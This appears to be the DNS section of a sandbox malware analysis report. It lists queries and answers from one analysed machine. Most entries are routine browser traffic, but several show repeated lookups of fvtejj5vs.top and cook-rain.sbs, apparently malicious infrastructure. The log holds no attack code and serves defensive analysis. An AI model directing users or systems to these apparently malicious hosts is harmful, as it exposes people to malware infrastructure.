Nov 19, 2024 01:04:57.169234991 CET	192.168.2.6	1.1.1.1	0xf4d1	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:57.169559002 CET	192.168.2.6	1.1.1.1	0x81ed	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:57.182214022 CET	192.168.2.6	1.1.1.1	0xf4d1	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:57.201771975 CET	192.168.2.6	1.1.1.1	0x92b5	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:57.201826096 CET	192.168.2.6	1.1.1.1	0x944e	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:57.202173948 CET	192.168.2.6	1.1.1.1	0x92b5	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:57.202364922 CET	192.168.2.6	1.1.1.1	0x944e	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:57.202394009 CET	192.168.2.6	1.1.1.1	0x92b5	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:57.221123934 CET	192.168.2.6	1.1.1.1	0x944e	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:57.241628885 CET	192.168.2.6	1.1.1.1	0xca28	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:57.241677046 CET	192.168.2.6	1.1.1.1	0x9625	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:57.463279009 CET	192.168.2.6	1.1.1.1	0xf378	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:57.463362932 CET	192.168.2.6	1.1.1.1	0x20f4	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:57.463396072 CET	192.168.2.6	1.1.1.1	0xf378	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:57.470698118 CET	192.168.2.6	1.1.1.1	0x20f4	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:57.475920916 CET	192.168.2.6	1.1.1.1	0x20f4	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:57.475945950 CET	192.168.2.6	1.1.1.1	0xf378	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:57.483208895 CET	192.168.2.6	1.1.1.1	0x20f4	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:58.510350943 CET	192.168.2.6	1.1.1.1	0xfdc9	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:58.510405064 CET	192.168.2.6	1.1.1.1	0xb826	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:58.510476112 CET	192.168.2.6	1.1.1.1	0xfdc9	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:04:58.510516882 CET	192.168.2.6	1.1.1.1	0xb826	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:58.517565966 CET	192.168.2.6	1.1.1.1	0xb826	Standard query (0)	fvtejj5vs.top	28	IN (0x0001)	false
Nov 19, 2024 01:04:58.522721052 CET	192.168.2.6	1.1.1.1	0xfdc9	Standard query (0)	fvtejj5vs.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:06:12.931008101 CET	192.168.2.6	1.1.1.1	0xe693	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 01:06:13.796458960 CET	192.168.2.6	1.1.1.1	0xa86e	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:06:14.846196890 CET	192.168.2.6	1.1.1.1	0xeac3	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:06:14.854048967 CET	192.168.2.6	1.1.1.1	0x5411	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:06:14.861525059 CET	192.168.2.6	1.1.1.1	0x9dfc	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 01:07:10.777226925 CET	192.168.2.6	1.1.1.1	0xf42e	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 01:07:11.441833973 CET	192.168.2.6	1.1.1.1	0x99ad	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:08:32.554685116 CET	192.168.2.6	1.1.1.1	0xaf39	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:08:55.521750927 CET	192.168.2.6	1.1.1.1	0x1bf4	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:08:55.562086105 CET	192.168.2.6	1.1.1.1	0x1bf4	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:08:55.713777065 CET	192.168.2.6	1.1.1.1	0x34ca	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:08:55.721095085 CET	192.168.2.6	1.1.1.1	0x82b4	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 01:10:15.235327005 CET	192.168.2.6	1.1.1.1	0xaf14	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 01:10:15.853728056 CET	192.168.2.6	1.1.1.1	0xe126	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 19, 2024 01:01:12.010426998 CET	1.1.1.1	192.168.2.6	0xcf2	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:12.010426998 CET	1.1.1.1	192.168.2.6	0xcf2	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:26.134778023 CET	1.1.1.1	192.168.2.6	0xe3a4	No error (0)	www.google.com		142.250.74.196	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:26.135140896 CET	1.1.1.1	192.168.2.6	0x1320	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 19, 2024 01:01:29.686253071 CET	1.1.1.1	192.168.2.6	0xf7e2	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:29.686253071 CET	1.1.1.1	192.168.2.6	0xf7e2	No error (0)	plus.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:29.686609030 CET	1.1.1.1	192.168.2.6	0x87fb	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:30.685693979 CET	1.1.1.1	192.168.2.6	0x163c	No error (0)	play.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:36.566088915 CET	1.1.1.1	192.168.2.6	0xefdf	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:36.567755938 CET	1.1.1.1	192.168.2.6	0xf2e3	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:36.887825966 CET	1.1.1.1	192.168.2.6	0xa434	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:36.887825966 CET	1.1.1.1	192.168.2.6	0xa434	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:36.904458046 CET	1.1.1.1	192.168.2.6	0xe884	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:37.787025928 CET	1.1.1.1	192.168.2.6	0x8f07	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:37.787358046 CET	1.1.1.1	192.168.2.6	0x11a4	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:39.547871113 CET	1.1.1.1	192.168.2.6	0x8816	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:39.547871113 CET	1.1.1.1	192.168.2.6	0x8816	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:39.547871113 CET	1.1.1.1	192.168.2.6	0x8816	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:39.547871113 CET	1.1.1.1	192.168.2.6	0x8816	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:39.556508064 CET	1.1.1.1	192.168.2.6	0x2230	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:39.556816101 CET	1.1.1.1	192.168.2.6	0xdc3a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:39.564358950 CET	1.1.1.1	192.168.2.6	0x2628	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:39.564523935 CET	1.1.1.1	192.168.2.6	0xe339	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:39.567445040 CET	1.1.1.1	192.168.2.6	0x2d43	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:39.567472935 CET	1.1.1.1	192.168.2.6	0x5e2a	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:39.964602947 CET	1.1.1.1	192.168.2.6	0x9d05	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:39.964602947 CET	1.1.1.1	192.168.2.6	0x9d05	No error (0)	googlehosted.l.googleusercontent.com		172.217.18.1	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:39.966633081 CET	1.1.1.1	192.168.2.6	0x511c	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:41.419954062 CET	1.1.1.1	192.168.2.6	0xbc26	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:41.419954062 CET	1.1.1.1	192.168.2.6	0xbc26	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:41.420300961 CET	1.1.1.1	192.168.2.6	0x3e7a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 19, 2024 01:01:41.420954943 CET	1.1.1.1	192.168.2.6	0xa00c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:41.420954943 CET	1.1.1.1	192.168.2.6	0xa00c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:41.420969963 CET	1.1.1.1	192.168.2.6	0x1371	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 19, 2024 01:01:41.439294100 CET	1.1.1.1	192.168.2.6	0x9b61	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:41.439294100 CET	1.1.1.1	192.168.2.6	0x9b61	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:41.439795971 CET	1.1.1.1	192.168.2.6	0x9457	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 19, 2024 01:01:41.459580898 CET	1.1.1.1	192.168.2.6	0x7465	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:41.459580898 CET	1.1.1.1	192.168.2.6	0x7465	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:01:41.531362057 CET	1.1.1.1	192.168.2.6	0x992d	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:01:42.500334024 CET	1.1.1.1	192.168.2.6	0x76af	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:02:33.916389942 CET	1.1.1.1	192.168.2.6	0xcf79	No error (0)	home.fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:02:38.561389923 CET	1.1.1.1	192.168.2.6	0x67d0	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:02:38.561389923 CET	1.1.1.1	192.168.2.6	0x67d0	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:02:48.172981024 CET	1.1.1.1	192.168.2.6	0x113e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:02:48.172981024 CET	1.1.1.1	192.168.2.6	0x113e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:02:48.174294949 CET	1.1.1.1	192.168.2.6	0x5da5	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 19, 2024 01:02:48.174561024 CET	1.1.1.1	192.168.2.6	0x481d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:02:48.174561024 CET	1.1.1.1	192.168.2.6	0x481d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:02:48.175982952 CET	1.1.1.1	192.168.2.6	0xf35f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 19, 2024 01:02:48.176012039 CET	1.1.1.1	192.168.2.6	0x15eb	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 19, 2024 01:02:48.176079035 CET	1.1.1.1	192.168.2.6	0x496c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:02:48.176079035 CET	1.1.1.1	192.168.2.6	0x496c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:15.373207092 CET	1.1.1.1	192.168.2.6	0x9d60	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:15.395629883 CET	1.1.1.1	192.168.2.6	0x92d3	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:16.333507061 CET	1.1.1.1	192.168.2.6	0xe779	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:16.333507061 CET	1.1.1.1	192.168.2.6	0xe779	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:16.348186970 CET	1.1.1.1	192.168.2.6	0xf345	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:16.364423990 CET	1.1.1.1	192.168.2.6	0xadd0	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 19, 2024 01:03:17.319904089 CET	1.1.1.1	192.168.2.6	0xe022	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:17.319931030 CET	1.1.1.1	192.168.2.6	0xb681	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:17.319931030 CET	1.1.1.1	192.168.2.6	0xb681	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:17.320219994 CET	1.1.1.1	192.168.2.6	0x48ae	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:17.320219994 CET	1.1.1.1	192.168.2.6	0x48ae	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:19.010678053 CET	1.1.1.1	192.168.2.6	0x2bae	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:19.011399984 CET	1.1.1.1	192.168.2.6	0xe1a3	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 19, 2024 01:03:19.202394009 CET	1.1.1.1	192.168.2.6	0x7554	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:19.203157902 CET	1.1.1.1	192.168.2.6	0xf9ec	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:19.203157902 CET	1.1.1.1	192.168.2.6	0xf9ec	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:19.203157902 CET	1.1.1.1	192.168.2.6	0xf9ec	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:19.203190088 CET	1.1.1.1	192.168.2.6	0xbbb9	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:19.203190088 CET	1.1.1.1	192.168.2.6	0xbbb9	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:19.203190088 CET	1.1.1.1	192.168.2.6	0xbbb9	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:19.203190088 CET	1.1.1.1	192.168.2.6	0xbbb9	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:19.203541040 CET	1.1.1.1	192.168.2.6	0x2ebc	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:19.203541040 CET	1.1.1.1	192.168.2.6	0x2ebc	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:20.373693943 CET	1.1.1.1	192.168.2.6	0xfda8	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:20.373693943 CET	1.1.1.1	192.168.2.6	0xfda8	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:20.373693943 CET	1.1.1.1	192.168.2.6	0xfda8	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:20.403605938 CET	1.1.1.1	192.168.2.6	0x58a9	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:20.554913998 CET	1.1.1.1	192.168.2.6	0xca00	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:20.554913998 CET	1.1.1.1	192.168.2.6	0xca00	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:20.554913998 CET	1.1.1.1	192.168.2.6	0xca00	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:20.554913998 CET	1.1.1.1	192.168.2.6	0xca00	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:20.555043936 CET	1.1.1.1	192.168.2.6	0xa4bb	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:20.555043936 CET	1.1.1.1	192.168.2.6	0xa4bb	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:26.034157991 CET	1.1.1.1	192.168.2.6	0x8655	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:26.047334909 CET	1.1.1.1	192.168.2.6	0xb66b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:30.703063965 CET	1.1.1.1	192.168.2.6	0xe628	No error (0)	youtube.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:30.718626976 CET	1.1.1.1	192.168.2.6	0x45cb	No error (0)	youtube.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:30.742872953 CET	1.1.1.1	192.168.2.6	0x4ba4	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 19, 2024 01:03:32.447410107 CET	1.1.1.1	192.168.2.6	0xbc90	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:32.447410107 CET	1.1.1.1	192.168.2.6	0xbc90	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:32.447720051 CET	1.1.1.1	192.168.2.6	0x4fc6	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:32.468966961 CET	1.1.1.1	192.168.2.6	0xb362	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:32.505995035 CET	1.1.1.1	192.168.2.6	0x2f74	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:32.505995035 CET	1.1.1.1	192.168.2.6	0x2f74	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:32.524399996 CET	1.1.1.1	192.168.2.6	0x9cb0	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:33.500612020 CET	1.1.1.1	192.168.2.6	0xa0d8	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:33.500612020 CET	1.1.1.1	192.168.2.6	0xa0d8	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:33.500612020 CET	1.1.1.1	192.168.2.6	0xa0d8	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:33.542824030 CET	1.1.1.1	192.168.2.6	0xc91e	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:33.560739994 CET	1.1.1.1	192.168.2.6	0xec3b	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 19, 2024 01:03:34.886801004 CET	1.1.1.1	192.168.2.6	0x8b2d	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:35.463772058 CET	1.1.1.1	192.168.2.6	0x3a4c	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.474937916 CET	1.1.1.1	192.168.2.6	0x262d	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.479249001 CET	1.1.1.1	192.168.2.6	0x43a5	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:35.479249001 CET	1.1.1.1	192.168.2.6	0x43a5	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.481327057 CET	1.1.1.1	192.168.2.6	0xd0e	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.503640890 CET	1.1.1.1	192.168.2.6	0x9e8a	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:35.503640890 CET	1.1.1.1	192.168.2.6	0x9e8a	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.513912916 CET	1.1.1.1	192.168.2.6	0xebeb	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.525832891 CET	1.1.1.1	192.168.2.6	0xcd9b	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.539545059 CET	1.1.1.1	192.168.2.6	0x173	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.687937021 CET	1.1.1.1	192.168.2.6	0xc2c0	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 01:03:35.687937021 CET	1.1.1.1	192.168.2.6	0xc2c0	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.687937021 CET	1.1.1.1	192.168.2.6	0xc2c0	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.687937021 CET	1.1.1.1	192.168.2.6	0xc2c0	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.687937021 CET	1.1.1.1	192.168.2.6	0xc2c0	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 19, 2024 01:03:35.687937021 CET	1.1.1.1	192.168.2.6	0xc2c0	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
